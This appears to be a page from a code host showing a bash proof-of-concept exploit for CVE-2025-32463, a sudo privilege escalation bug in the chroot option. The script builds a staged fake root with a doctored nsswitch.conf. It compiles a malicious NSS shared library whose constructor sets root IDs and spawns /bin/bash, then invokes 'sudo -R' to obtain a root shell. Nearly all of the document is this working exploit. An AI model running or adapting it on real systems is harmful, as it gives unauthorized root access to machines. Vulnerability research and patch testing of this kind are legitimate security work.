27 lines
637 B
Bash
27 lines
637 B
Bash
#!/bin/bash
|
||
# sudo-chwoot.sh
|
||
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
|
||
# @ Stratascale Cyber Research Unit (CRU)
|
||
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
|
||
cd ${STAGE?} || exit 1
|
||
|
||
cat > woot1337.c<<EOF
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
|
||
__attribute__((constructor)) void woot(void) {
|
||
setreuid(0,0);
|
||
setregid(0,0);
|
||
chdir("/");
|
||
execl("/bin/bash", "/bin/bash", NULL);
|
||
}
|
||
EOF
|
||
|
||
mkdir -p woot/etc libnss_
|
||
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
|
||
cp /etc/group woot/etc
|
||
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
|
||
|
||
echo "woot!"
|
||
sudo -R woot woot
|
||
rm -rf ${STAGE?}
|